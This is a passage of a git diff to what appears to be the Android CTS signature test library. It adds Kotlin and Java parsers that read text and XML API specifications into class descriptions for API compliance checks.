-            API_FILE_DIRECTORY + "/system-removed.api";
-
-    static final String TAG_ROOT = "api";
-    static final String TAG_PACKAGE = "package";
-    static final String TAG_CLASS = "class";
-    static final String TAG_INTERFACE = "interface";
-    static final String TAG_IMPLEMENTS = "implements";
-    static final String TAG_CONSTRUCTOR = "constructor";
-    static final String TAG_METHOD = "method";
-    static final String TAG_PARAM = "parameter";
-    static final String TAG_EXCEPTION = "exception";
-    static final String TAG_FIELD = "field";
-
-    private static final String MODIFIER_ABSTRACT = "abstract";
-    private static final String MODIFIER_FINAL = "final";
-    private static final String MODIFIER_NATIVE = "native";
-    private static final String MODIFIER_PRIVATE = "private";
-    private static final String MODIFIER_PROTECTED = "protected";
-    private static final String MODIFIER_PUBLIC = "public";
-    private static final String MODIFIER_STATIC = "static";
-    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
-    private static final String MODIFIER_TRANSIENT = "transient";
-    private static final String MODIFIER_VOLATILE = "volatile";
-    private static final String MODIFIER_VISIBILITY = "visibility";
-
-    static final String ATTRIBUTE_NAME = "name";
-    private static final String ATTRIBUTE_VALUE = "value";
-    private static final String ATTRIBUTE_EXTENDS = "extends";
-    static final String ATTRIBUTE_TYPE = "type";
-    private static final String ATTRIBUTE_RETURN = "return";
-
-    /**
-     * Load field information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the new field
-     */
-    static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
-        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String fieldType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
-        return new JDiffField(fieldName, fieldType, modifier, value);
-    }
-
-    /**
-     * Load method information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the newly loaded method.
-     */
-    static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
-        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        return new JDiffMethod(methodName, modifier, returnType);
-    }
-
-    /**
-     * Load constructor information from xml to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param currentClass the current class being loaded.
-     * @return the new constructor
-     */
-    static JDiffConstructor loadConstructorInfo(
-            XmlPullParser parser, JDiffClassDescription currentClass) {
-        String name = currentClass.getClassName();
-        int modifier = jdiffModifierToReflectionFormat(name, parser);
-        return new JDiffConstructor(name, modifier);
-    }
-
-    /**
-     * Load class or interface information to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param isInterface true if the current class is an interface, otherwise is false.
-     * @param pkg the name of the java package this class can be found in.
-     * @return the new class description.
-     */
-    static JDiffClassDescription loadClassInfo(
-            XmlPullParser parser, boolean isInterface, String pkg) {
-        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
-
-        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
-        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
-                             JDiffClassDescription.JDiffType.CLASS);
-        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
-        return currentClass;
-    }
-
-    /**
-     * Convert string modifier to int modifier.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param key modifier name
-     * @param value modifier value
-     * @return converted modifier value
-     */
-    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
-        if (key.equals(MODIFIER_ABSTRACT)) {
-            return value.equals("true") ? Modifier.ABSTRACT : 0;
-        } else if (key.equals(MODIFIER_FINAL)) {
-            return value.equals("true") ? Modifier.FINAL : 0;
-        } else if (key.equals(MODIFIER_NATIVE)) {
-            return value.equals("true") ? Modifier.NATIVE : 0;
-        } else if (key.equals(MODIFIER_STATIC)) {
-            return value.equals("true") ? Modifier.STATIC : 0;
-        } else if (key.equals(MODIFIER_SYNCHRONIZED)) {
-            return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
-        } else if (key.equals(MODIFIER_TRANSIENT)) {
-            return value.equals("true") ? Modifier.TRANSIENT : 0;
-        } else if (key.equals(MODIFIER_VOLATILE)) {
-            return value.equals("true") ? Modifier.VOLATILE : 0;
-        } else if (key.equals(MODIFIER_VISIBILITY)) {
-            if (value.equals(MODIFIER_PRIVATE)) {
-                throw new RuntimeException("Private visibility found in API spec: " + name);
-            } else if (value.equals(MODIFIER_PROTECTED)) {
-                return Modifier.PROTECTED;
-            } else if (value.equals(MODIFIER_PUBLIC)) {
-                return Modifier.PUBLIC;
-            } else if ("".equals(value)) {
-                // If the visibility is "", it means it has no modifier.
-                // which is package private. We should return 0 for this modifier.
-                return 0;
-            } else {
-                throw new RuntimeException("Unknown modifier found in API spec: " + value);
-            }
-        }
-        return 0;
-    }
-
-    /**
-     * Transfer string modifier to int one.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param parser XML resource parser
-     * @return converted modifier
-     */
-    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
-        int modifier = 0;
-        for (int i = 0;i < parser.getAttributeCount();i++) {
-            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
-                    parser.getAttributeValue(i));
-        }
-        return modifier;
-    }
 }
diff --git a/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
new file mode 100644
index 0000000..4d2fade
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+@file:JvmName("KtHelper")
+package android.signature.cts
+
+import com.android.tools.metalava.model.TypeItem
+
+/**
+ * Allows Java to call the TypeItem.toTypeString() without having to explicitly specify each named
+ * parameter to its default. This allows additional parameters to be added to the method without
+ * breaking the Java code.
+ */
+fun toDefaultTypeString(item: TypeItem): String {
+    // Normalize the strings to contain , without a following space. This is needed because
+    // different versions of the txt specification used different separators in generic types, some
+    // used "," and some used ", " and metalava does not normalize them. e.g. some files will format
+    // a Map from String to Integer as "java.util.Map<java.lang.String,java.lang.Integer>" and some
+    // will format it as "java.util.Map<java.lang.String, java.lang.Integer>".
+    //
+    // Must match separator used in android.signature.cts.ReflectionHelper.typeToString.
+    return item.toTypeString().replace(", ", ",")
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
new file mode 100644
index 0000000..26ac862
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import com.android.tools.metalava.doclava1.ApiFile;
+import com.android.tools.metalava.doclava1.ApiParseException;
+import com.android.tools.metalava.doclava1.TextCodebase;
+import com.android.tools.metalava.model.ClassItem;
+import com.android.tools.metalava.model.ConstructorItem;
+import com.android.tools.metalava.model.FieldItem;
+import com.android.tools.metalava.model.Item;
+import com.android.tools.metalava.model.MethodItem;
+import com.android.tools.metalava.model.ModifierList;
+import com.android.tools.metalava.model.PackageItem;
+import com.android.tools.metalava.model.ParameterItem;
+import com.android.tools.metalava.model.TypeItem;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Modifier;
+import java.util.List;
+import java.util.Objects;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import kotlin.streams.jdk8.StreamsKt;
+
+/**
+ * Parser for the text representation of an API specification.
+ */
+public class TextApiParser extends ApiParser {
+
+    @Override
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        try {
+            String content = new BufferedReader(new InputStreamReader(path.newInputStream()))
+                    .lines()
+                    .parallel()
+                    .collect(Collectors.joining("\n"));
+            TextCodebase codebase = ApiFile.parseApi(path.toString(), content, false);
+            List<PackageItem> packages = codebase.getPackages().getPackages();
+            return packages.stream()
+                    // Map each package to the Sequence of ClassItems that it contains
+                    .map(PackageItem::allClasses)
+                    // Flatten the Sequences of ClassItems into one stream.
+                    .flatMap(StreamsKt::asStream)
+                    // Filter out TextClassItems that are used from but not defined in the source.
+                    .filter(ClassItem::isDefined)
+                    .map(TextApiParser::convertClass);
+        } catch (IOException | ApiParseException e) {
+            throw new RuntimeException("Could not parse " + path, e);
+        }
+    }
+
+    private static JDiffClassDescription convertClass(ClassItem item) {
+        String pkg = item.containingPackage().qualifiedName();
+
+        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, item.fullName());
+
+        int modifiers = getModifiers(item);
+
+        currentClass.setModifier(modifiers);
+        currentClass.setType(item.isInterface() ? JDiffClassDescription.JDiffType.INTERFACE :
+                JDiffClassDescription.JDiffType.CLASS);
+
+        // Map the super class.
+        ClassItem superClass = item.superClass();
+        if (superClass != null) {
+            String extendsClass = superClass.qualifiedName();
+            if (item.isInterface()) {
+                // TextCodebase treats an interface as if it extends java.lang.Object.
+                if (!superClass.isJavaLangObject()) {
+                    currentClass.addImplInterface(extendsClass);
+                }
+            } else {
+                currentClass.setExtendsClass(extendsClass);
+            }
+        }
+
+        // Map the interfaces.
+        item.interfaceTypes().stream()
+                .map(TypeItem::asClass)
+                .filter(Objects::nonNull)
+                .map(ClassItem::qualifiedName)
+                .forEach(currentClass::addImplInterface);
+
+        item.fields().stream().map(TextApiParser::convertField).forEach(currentClass::addField);
+
+        item.constructors().stream()
+                .map(TextApiParser::convertConstructor)
+                .forEach(currentClass::addConstructor);
+
+        item.methods().stream()
+                .map(TextApiParser::convertMethod)
+                .forEach(currentClass::addMethod);
+
+        return currentClass;
+    }
+
+    private static int getModifiers(Item item) {
+        ModifierList modifierList = item.getModifiers();
+        int modifiers = 0;
+        if (modifierList.isAbstract()) {
+            modifiers |= Modifier.ABSTRACT;
+        }
+        if (modifierList.isFinal()) {
+            modifiers |= Modifier.FINAL;
+        }
+        if (modifierList.isNative()) {
+            modifiers |= Modifier.NATIVE;
+        }
+        if (modifierList.isStatic()) {
+            modifiers |= Modifier.STATIC;
+        }
+        if (modifierList.isSynchronized()) {
+            modifiers |= Modifier.SYNCHRONIZED;
+        }
+        if (modifierList.isTransient()) {
+            modifiers |= Modifier.TRANSIENT;
+        }
+        if (modifierList.isVolatile()) {
+            modifiers |= Modifier.VOLATILE;
+        }
+        if (modifierList.isPrivate()) {
+            modifiers |= Modifier.PRIVATE;
+        } else if (modifierList.isProtected()) {
+            modifiers |= Modifier.PROTECTED;
+        } else if (modifierList.isPublic()) {
+            modifiers |= Modifier.PUBLIC;
+        }
+        return modifiers;
+    }
+
+    private static JDiffField convertField(FieldItem item) {
+        int modifiers = getModifiers(item);
+        Object value = item.initialValue(true);
+
+        if (item.isEnumConstant()) {
+            // Set the enum bit on the enum constant to match the modifiers returned by reflection.
+            modifiers |= 0x00004000;
+        }
+
+        return new JDiffField(item.name(),
+                KtHelper.toDefaultTypeString(item.type()), modifiers,
+                value == null ? null : value.toString());
+    }
+
+    private static JDiffConstructor convertConstructor(ConstructorItem item) {
+        JDiffConstructor constructor = new JDiffConstructor(item.name(), getModifiers(item));
+
+        convertParameters(item, constructor);
+
+        return constructor;
+    }
+
+    private static void convertParameters(MethodItem item, JDiffMethod method) {
+        item.parameters().stream()
+                .map(TextApiParser::convertParameter)
+                .forEach(method::addParam);
+    }
+
+    private static JDiffMethod convertMethod(MethodItem item) {
+        TypeItem returnType = item.returnType();
+        String returnTypeAsString = returnType == null ? null
+                : KtHelper.toDefaultTypeString(returnType);
+        JDiffMethod method = new JDiffMethod(item.name(), getModifiers(item), returnTypeAsString);
+
+        convertParameters(item, method);
+
+        return method;
+    }
+
+    private static String convertParameter(ParameterItem item) {
+        return KtHelper.toDefaultTypeString(item.type());
+    }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
new file mode 100644
index 0000000..140dd6d
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+/**
+ * Workaround for the lack of a zip file system provider on Android.
+ */
+public abstract class VirtualPath {
+
+    /**
+     * Get a path to the local file system.
+     */
+    public static LocalFilePath get(String path) {
+        return new LocalFilePath(path);
+    }
+
+    /**
+     * Get a path to an entry in a zip file, i.e. a zip file system.
+     */
+    public static ZipEntryPath get(ZipFile zip, ZipEntry entry) {
+        return new ZipEntryPath(zip, entry);
+    }
+
+    /**
+     * Get a path to a resource in a ClassLoader.
+     *
+     * @param classLoader the ClassLoader containing the resource.
+     * @param resourceName the name of the resource, must not start with a /.
+     */
+    public static ResourcePath get(ClassLoader classLoader, String resourceName)
+            throws IOException {
+        return new ResourcePath(classLoader, resourceName);
+    }
+
+    public abstract InputStream newInputStream() throws IOException;
+
+    public static class LocalFilePath extends VirtualPath {
+        private final String path;
+
+        LocalFilePath(String path) {
+            this.path = path;
+        }
+
+        public File toFile() {
+            return new File(path);
+        }
+
+        public LocalFilePath resolve(String relative) {
+            return new LocalFilePath(path + "/" + relative);
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return new FileInputStream(path);
+        }
+
+        @Override
+        public String toString() {
+            return path;
+        }
+    }
+
+    private static class ZipEntryPath extends VirtualPath {
+
+        private final ZipFile zip;
+
+        private final ZipEntry entry;
+
+        private ZipEntryPath(ZipFile zip, ZipEntry entry) {
+            this.zip = zip;
+            this.entry = entry;
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return zip.getInputStream(entry);
+        }
+
+        @Override
+        public String toString() {
+            return "zip:file:" + zip.getName() + "!/" + entry.getName();
+        }
+    }
+
+    public static class ResourcePath extends VirtualPath {
+        private final URL url;
+
+        ResourcePath(ClassLoader classLoader, String path) throws IOException {
+            this.url = classLoader.getResource(path);
+            if (url == null) {
+                throw new IOException("Could not find resource '" + path + "' in " + classLoader);
+            }
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return url.openStream();
+        }
+
+        @Override
+        public String toString() {
+            return url.toExternalForm();
+        }
+    }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
new file mode 100644
index 0000000..8e5d0bb
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -0,0 +1,617 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import android.util.Log;
+import java.io.IOException;
+import java.lang.reflect.Modifier;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.Spliterator;
+import java.util.function.Consumer;
+import java.util.stream.Stream;
+import java.util.stream.StreamSupport;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Parser for the XML representation of an API specification.
+ */
+class XmlApiParser extends ApiParser {
+
+    private static final String TAG_ROOT = "api";
+
+    private static final String TAG_PACKAGE = "package";
+
+    private static final String TAG_CLASS = "class";
+
+    private static final String TAG_INTERFACE = "interface";
+
+    private static final String TAG_IMPLEMENTS = "implements";
+
+    private static final String TAG_CONSTRUCTOR = "constructor";
+
+    private static final String TAG_METHOD = "method";
+
+    private static final String TAG_PARAM = "parameter";
+
+    private static final String TAG_EXCEPTION = "exception";
+
+    private static final String TAG_FIELD = "field";
+
+    private static final String ATTRIBUTE_NAME = "name";
+
+    private static final String ATTRIBUTE_TYPE = "type";
+
+    private static final String ATTRIBUTE_VALUE = "value";
+
+    private static final String ATTRIBUTE_EXTENDS = "extends";
+
+    private static final String ATTRIBUTE_RETURN = "return";
+
+    private static final String MODIFIER_ABSTRACT = "abstract";
+
+    private static final String MODIFIER_FINAL = "final";
+
+    private static final String MODIFIER_NATIVE = "native";
+
+    private static final String MODIFIER_PRIVATE = "private";
+
+    private static final String MODIFIER_PROTECTED = "protected";
+
+    private static final String MODIFIER_PUBLIC = "public";
+
+    private static final String MODIFIER_STATIC = "static";
+
+    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
+
+    private static final String MODIFIER_TRANSIENT = "transient";
+
+    private static final String MODIFIER_VOLATILE = "volatile";
+
+    private static final String MODIFIER_VISIBILITY = "visibility";
+
+    private static final Set<String> KEY_TAG_SET;
+
+    static {
+        KEY_TAG_SET = new HashSet<>();
+        Collections.addAll(KEY_TAG_SET,
+                TAG_PACKAGE,
+                TAG_CLASS,
+                TAG_INTERFACE,
+                TAG_IMPLEMENTS,
+                TAG_CONSTRUCTOR,
+                TAG_METHOD,
+                TAG_PARAM,
+                TAG_EXCEPTION,
+                TAG_FIELD);
+    }
+
+    private final String tag;
+
+    private final XmlPullParserFactory factory;
+
+    XmlApiParser(String tag) {
+        this.tag = tag;
+        try {
+            factory = XmlPullParserFactory.newInstance();
+        } catch (XmlPullParserException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Load field information from xml to memory.
+     *
+     * @param className
+     *         of the class being examined which will be shown in error messages
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @return the new field
+     */
+    private static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
+        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String fieldType = canonicalizeType(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
+
+        // Canonicalize the expected value to ensure that it is consistent with the values obtained
+        // using reflection by ApiComplianceChecker.getFieldValueAsString(...).
+        if (value != null) {
+
+            // An unquoted null String value actually means null. It cannot be confused with a
+            // String containing the word null as that would be surrounded with double quotes.
+            if (value.equals("null")) {
+                value = null;
+            } else {
+                switch (fieldType) {
+                    case "java.lang.String":
+                        value = unescapeFieldStringValue(value);
+                        break;
+
+                    case "char":
+                        // A character is encoded in XML as its numeric value. Convert it to a
+                        // string containing the single character.
+                        char c = (char) Integer.parseInt(value);
+                        value = String.valueOf(c);
+                        break;
+
+                    case "double":
+                        switch (value) {
+                            case "(-1.0/0.0)":
+                                value = "-Infinity";
+                                break;
+                            case "(0.0/0.0)":
+                                value = "NaN";
+                                break;
+                            case "(1.0/0.0)":
+                                value = "Infinity";
+                                break;
+                        }
+                        break;
+
+                    case "float":
+                        switch (value) {
+                            case "(-1.0f/0.0f)":
+                                value = "-Infinity";
+                                break;
+                            case "(0.0f/0.0f)":
+                                value = "NaN";
+                                break;
+                            case "(1.0f/0.0f)":
+                                value = "Infinity";
+                                break;
+                            default:
+                                // Remove the trailing f.
+                                if (value.endsWith("f")) {
+                                    value = value.substring(0, value.length() - 1);
+                                }
+                        }
+                        break;
+
+                    case "long":
+                        // Remove the trailing L.
+                        if (value.endsWith("L")) {
+                            value = value.substring(0, value.length() - 1);
+                        }
+                        break;
+                }
+            }
+        }
+
+        return new JDiffField(fieldName, fieldType, modifier, value);
+    }
+
+    /**
+     * Load method information from xml to memory.
+     *
+     * @param className
+     *         of the class being examined which will be shown in error messages
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @return the newly loaded method.
+     */
+    private static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
+        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        return new JDiffMethod(methodName, modifier, canonicalizeType(returnType));
+    }
+
+    /**
+     * Load constructor information from xml to memory.
+     *
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @param currentClass
+     *         the current class being loaded.
+     * @return the new constructor
+     */
+    private static JDiffConstructor loadConstructorInfo(
+            XmlPullParser parser, JDiffClassDescription currentClass) {
+        String name = currentClass.getClassName();
+        int modifier = jdiffModifierToReflectionFormat(name, parser);
+        return new JDiffConstructor(name, modifier);
+    }
+
+    /**
+     * Load class or interface information to memory.
+     *
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @param isInterface
+     *         true if the current class is an interface, otherwise is false.
+     * @param pkg
+     *         the name of the java package this class can be found in.
+     * @return the new class description.
+     */
+    private static JDiffClassDescription loadClassInfo(
+            XmlPullParser parser, boolean isInterface, String pkg) {
+        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
+
+        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
+        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
+                JDiffClassDescription.JDiffType.CLASS);
+        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+        return currentClass;
+    }
+
+    /**
+     * Transfer string modifier to int one.
+     *
+     * @param name
+     *         of the class/method/field being examined which will be shown in error messages
+     * @param parser
+     *         XML resource parser
+     * @return converted modifier
+     */
+    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser) {
+        int modifier = 0;
+        for (int i = 0; i < parser.getAttributeCount(); i++) {
+            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
+                    parser.getAttributeValue(i));
+        }
+        return modifier;
+    }
+
+    /**
+     * Convert string modifier to int modifier.
+     *
+     * @param name
+     *         of the class/method/field being examined which will be shown in error messages
+     * @param key
+     *         modifier name
+     * @param value
+     *         modifier value
+     * @return converted modifier value
+     */
+    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
+        switch (key) {
+            case MODIFIER_ABSTRACT:
+                return value.equals("true") ? Modifier.ABSTRACT : 0;
+            case MODIFIER_FINAL:
+                return value.equals("true") ? Modifier.FINAL : 0;
+            case MODIFIER_NATIVE:
+                return value.equals("true") ? Modifier.NATIVE : 0;
+            case MODIFIER_STATIC:
+                return value.equals("true") ? Modifier.STATIC : 0;
+            case MODIFIER_SYNCHRONIZED:
+                return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
+            case MODIFIER_TRANSIENT:
+                return value.equals("true") ? Modifier.TRANSIENT : 0;
+            case MODIFIER_VOLATILE:
+                return value.equals("true") ? Modifier.VOLATILE : 0;
+            case MODIFIER_VISIBILITY:
+                switch (value) {
+                    case MODIFIER_PRIVATE:
+                        throw new RuntimeException("Private visibility found in API spec: " + name);
+                    case MODIFIER_PROTECTED:
+                        return Modifier.PROTECTED;
+                    case MODIFIER_PUBLIC:
+                        return Modifier.PUBLIC;
+                    case "":
+                        // If the visibility is "", it means it has no modifier.
+                        // which is package private. We should return 0 for this modifier.
+                        return 0;
+                    default:
+                        throw new RuntimeException("Unknown modifier found in API spec: " + value);
+                }
+        }
+        return 0;
+    }
+
+    @Override
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        XmlPullParser parser;
+        try {
+            parser = factory.newPullParser();
+            parser.setInput(path.newInputStream(), null);
+            return StreamSupport
+                    .stream(new ClassDescriptionSpliterator(parser), false);
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException("Could not parse " + path, e);
+        }
+    }
+
+    private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
+
+        private final XmlPullParser parser;
+
+        JDiffClassDescription currentClass = null;
+
+        String currentPackage = "";
+
+        JDiffMethod currentMethod = null;
+
+        ClassDescriptionSpliterator(XmlPullParser parser)
+                throws IOException, XmlPullParserException {
+            this.parser = parser;
+            logd(String.format("Name: %s", parser.getName()));
+            logd(String.format("Text: %s", parser.getText()));
+            logd(String.format("Namespace: %s", parser.getNamespace()));
+            logd(String.format("Line Number: %s", parser.getLineNumber()));
+            logd(String.format("Column Number: %s", parser.getColumnNumber()));
+            logd(String.format("Position Description: %s", parser.getPositionDescription()));
+            beginDocument(parser);
+        }
+
+        @Override
+        public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
+            JDiffClassDescription classDescription;
+            try {
+                classDescription = next();
+            } catch (IOException | XmlPullParserException e) {
+                throw new RuntimeException(e);
+            }
+
+            if (classDescription == null) {
+                return false;
+            }
+            action.accept(classDescription);
+            return true;
+        }
+
+        @Override
+        public Spliterator<JDiffClassDescription> trySplit() {
+            return null;
+        }
+
+        @Override
+        public long estimateSize() {
+            return Long.MAX_VALUE;
+        }
+
+        @Override
+        public int characteristics() {
+            return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
+        }
+
+        private void beginDocument(XmlPullParser parser)
+                throws XmlPullParserException, IOException {
+            int type;
+            do {
+                type = parser.next();
+            } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
+
+            if (type != XmlPullParser.START_TAG) {
+                throw new XmlPullParserException("No start tag found");
+            }
+
+            if (!parser.getName().equals(TAG_ROOT)) {
+                throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
+                        ", expected " + TAG_ROOT);
+            }
+        }
+
+        private JDiffClassDescription next() throws IOException, XmlPullParserException {
+            int type;
+            while (true) {
+                do {
+                    type = parser.next();
+                } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
+                        && type != XmlPullParser.END_TAG);
+
+                if (type == XmlPullParser.END_DOCUMENT) {
+                    logd("Reached end of document");
+                    break;
+                }
+
+                String tagname = parser.getName();
+                if (type == XmlPullParser.END_TAG) {
+                    if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
+                        logd("Reached end of class: " + currentClass);
+                        return currentClass;
+                    } else if (TAG_PACKAGE.equals(tagname)) {
+                        currentPackage = "";
+                    }
+                    continue;
+                }
+
+                if (!KEY_TAG_SET.contains(tagname)) {
+                    continue;
+                }
+
+                switch (tagname) {
+                    case TAG_PACKAGE:
+                        currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+                        break;
+
+                    case TAG_CLASS:
+                        currentClass = loadClassInfo(parser, false, currentPackage);
+                        break;
+
+                    case TAG_INTERFACE:
+                        currentClass = loadClassInfo(parser, true, currentPackage);
+                        break;
+
+                    case TAG_IMPLEMENTS:
+                        currentClass
+                                .addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+                        break;
+
+                    case TAG_CONSTRUCTOR:
+                        JDiffConstructor constructor =
+                                loadConstructorInfo(parser, currentClass);
+                        currentClass.addConstructor(constructor);
+                        currentMethod = constructor;
+                        break;
+
+                    case TAG_METHOD:
+                        currentMethod = loadMethodInfo(currentClass.getClassName(), parser);
+                        currentClass.addMethod(currentMethod);
+                        break;
+
+                    case TAG_PARAM:
+                        String paramType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
+                        currentMethod.addParam(canonicalizeType(paramType));
+                        break;
+
+                    case TAG_EXCEPTION:
+                        currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+                        break;
+
+                    case TAG_FIELD:
+                        JDiffField field = loadFieldInfo(currentClass.getClassName(), parser);
+                        currentClass.addField(field);
+                        break;
+
+                    default:
+                        throw new RuntimeException("unknown tag exception:" + tagname);
+                }
+
+                if (currentPackage != null) {
+                    logd(String.format("currentPackage: %s", currentPackage));
+                }
